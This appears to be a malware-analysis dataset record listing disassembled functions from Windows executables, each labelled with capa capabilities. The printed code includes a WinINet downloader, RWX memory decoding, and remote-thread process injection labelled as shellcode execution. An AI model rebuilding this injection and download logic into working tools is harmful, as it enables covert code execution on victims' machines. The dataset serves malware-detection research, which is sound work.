joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f2c7
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, 0x10ad
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x40f30a
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x40f2e7
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40f330
sub eax, 1
je 0x40f327
sub eax, 1
jne 0x40f346
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret

Function at 0x40f3f9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x40f423
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40f445
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], edx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_32.0__compatible_
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40f523
push ebx
push 0x400000
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x40f523
push ebx
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
or dword [ebp - 8], 0xffffffff
mov ecx, 0x400000
call fcn.0040590a
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40f523
xor eax, eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call fcn.004010ad
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, ebx
push esi
push eax
call fcn.0040102c
add ebx, dword [ebp - 8]
push esi
call fcn.004010c1
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x40f4b3
push dword [ebp - 0x14]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
cmp ebx, dword [ebp - 0xc]
jne 0x40f523
mov eax, dword [ebp - 0x18]
mov dword [eax], ebx
mov eax, dword [ebp - 0x10]
jmp 0x40f525
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f52a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f568
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f5c8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x400000
mov edi, edx
mov esi, ecx
call fcn.004010ad
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push 0x80000000
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40f628
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x40f6e8
cmp dword [ebp - 4], ebx
je 0x40f6d8
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0040102c
add esp, 0xc
lea eax, [ebp - 0x60]
push 0x44
push ebx
push eax
call fcn.00401052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f6e8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x40f6e3
call fcn.0040f7cd
test eax, eax
je 0x40f6e8
mov edx, eax
call fcn.0040f6ed
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f6ed
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.004010ad
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00401114
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ecx
pop ecx
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x416178
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x4167b4], eax
pop ebx
leave
ret
Function at 0x40f7cd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, 0x128
mov esi, eax
push edi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x128], edi
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x40f836
lea eax, [ebp - 0x104]
push 0x4145f4
push eax
call fcn.004010e6
pop ecx
pop ecx
test eax, eax
je 0x40f847
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40f811
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x40f843

Function at 0x40fb5c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x412370
push 1
push edi
push 0x4123c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x40fbf4
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4123b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x40fbe4
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x40fbc0
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x40fbc0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x40fbaf
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x40fbe4
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x40fbf4
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x410024
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x414674
push 1
push edi
push 0x4123c0
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x41017b
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4123b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41017b
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x410137
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x412340
push edi
lea eax, [eax + ebx*4]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
test eax, eax
jne 0x410155
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push 0x41460c
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4100e3
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x410155
push 0x1c
pop ecx
call fcn.004059a9
test eax, eax
je 0x4100fa
mov ecx, eax
call fcn.004102dc
mov edx, eax
jmp 0x4100fc
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x410125
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x410109
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.004023b2
inc ebx
xor edi, edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41008c
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x410165
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x410175
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410180
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040fb5c
xor ecx, ecx
cmp eax, ebx
lea eax, [ebp - 0x10]
push eax
push 0x414674
cmovb ebx, ecx
xor esi, esi
push 1
push esi
push 0x4123c0
mov dword [edi], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x41023a
mov eax, dword [ecx]
lea edx, [ebp - 4]
push esi
push edx
push 0x4123b0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41023a
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], esi
jmp 0x410205
mov eax, dword [ebp - 0xc]
push edi
push 0x412360
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
cmp dword [edi], 0
je 0x410201
cmp esi, ebx
je 0x41021c
mov ecx, edi
inc esi
call fcn.00402411
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4101dd
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x41022d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x41023a
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410a7c
Capabilities:
Create directory
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x51c
push ebx
xor ebx, ebx
mov dword [esp + 0xc], 0xa
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], ebx
call fcn.00405647
lea ecx, [esp + 0x68]
call fcn.0040ef3c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00401085
pop ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0xc]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push ebx
push str.MaxConnectionsPer1_0Server
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push ebx
push str.MaxConnectionsPerServer
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x20]
call fcn.0040549d
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x6c]
call fcn.0040edaa
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2f0]
call fcn.004049f9
push 0x208
lea eax, [esp + 0xe4]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [esp + 0xe0]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esp + 0x8c], ebx
jne 0x410be8
push dword [esp + 0x40]
lea ecx, [esp + 0x6c]
push dword [esp + 0x3c]
call fcn.0040ec15
cmp dword [esp + 0x38], ebx
je 0x410be8
lea eax, [esp + 0x88]
mov dword [esp + 0x18], ebx
push eax
lea ecx, [esp + 0x14]
call fcn.004033f3
push ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x28]
call fcn.0040e6c4
mov ecx, dword [esp + 0x10]
call fcn.004058fb
xor ecx, ecx
call fcn.004058fb
jmp 0x410bff
cmp dword [esp + 0x58], ebx
je 0x410bf3
call fcn.0040f628
lea ecx, [esp + 0x2e8]
call fcn.0040496d
lea ecx, [esp + 0x2e8]
call fcn.00404709
lea ecx, [esp + 0x68]
call fcn.0040ebb6
lea ecx, [esp + 0x20]
call fcn.0040566c
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4111c5
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
push esi
call fcn.004010d5
mov edi, eax
mov dword [esp], str.test
call fcn.004010d5
pop ecx
xor ecx, ecx
mov ebx, eax
test edi, edi
jle 0x40f3f3
mov eax, ecx
cdq
idiv ebx
mov al, byte [edx + str.test]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x40f3e0
pop edi
mov eax, esi
pop esi
pop ebx
ret
mov edx, dword [ecx + 0x1c]
mov ecx, dword [ecx + 0x18]
call fcn.0040f3f9
mov ecx, eax
jmp 0x40f3be
Function at 0x402ea8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404560
test esi, esi
jne 0x402edf
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404650
jmp 0x402f00
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402d44
mov dword [esp], eax
test esi, esi
je 0x402f00
cmp dword [ebx], 0
je 0x402f00
dec esi
jmp 0x402ee7
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403640
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4aa020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4036d8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036b8
xor eax, eax
push ebp
push 0x4036b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4036f4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036b8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4aa020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4aa020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4043dc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4ad04c], 0
je 0x40443d
cmp word [0x4ad220], 0xd7b2
jne 0x404405
cmp dword [0x4ad228], 0
jbe 0x404405
mov eax, 0x4ad21c
call dword [0x4ad238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4aa06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404464
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4aa030], 0
jne 0x404459
push 0
push 0x4aa064
push 0x4aa06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406758
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4067be
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004047d0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403204
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4067a8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067c5
lea eax, [ebp - 0x10]
call fcn.00404560
ret

Function at 0x40c698
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c6d1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404650
jmp 0x40c6da
mov eax, ebx
mov edx, esi
call fcn.004045b4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c6e4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c705
mov al, byte [esp]
jmp 0x40c707
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40cd9c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40cc04
mov eax, dword [0x4ac65c]
cmp byte [eax], 0
je 0x40ce18
mov eax, dword [0x4ac31c]
call fcn.00402fc8
call fcn.00402c70
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409754
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40ce60
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40ce4e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4ac2a4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4ad668]
call fcn.00405bc4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40d728
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d7fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004045f8
lea eax, [ebp - 8]
call fcn.00404a70
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404a20
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d7e8
mov eax, ebx
call fcn.00402ae4
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d7e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404a20
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d7cb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d810
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d7cb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d7e8
mov eax, dword [ebp - 0x10]
call fcn.00402b14
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d805
lea eax, [ebp - 8]
call fcn.00404560
ret

Function at 0x40de2c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40de90
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004047d0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00409014
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de97
lea eax, [ebp - 0xc]
call fcn.00404560
ret

Function at 0x40e688
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov eax, dword [0x4ac354]
cmp dword [eax], 0
je 0x40e6be
push 0xa
push 0x40e714
mov eax, dword [0x4ac354]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [0x4ac354]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_LoadResource
mov dword [esp], eax
jmp 0x40e70a
xor eax, eax
mov dword [esp], eax
mov eax, dword [0x4ac6dc]
mov eax, dword [eax]
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40e70a
mov ebx, dword [esp + 4]
push 0xa
push 0x40e714
mov esi, dword [ebx + 4]
push esi
call sub.kernel32.dll_FindResourceA
push eax
push esi
call sub.kernel32.dll_LoadResource
mov dword [esp], eax
cmp dword [esp], 0
jne 0x40e70a
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
jne 0x40e6d5
mov eax, dword [esp]
pop ecx
pop edx
pop esi
pop ebx
ret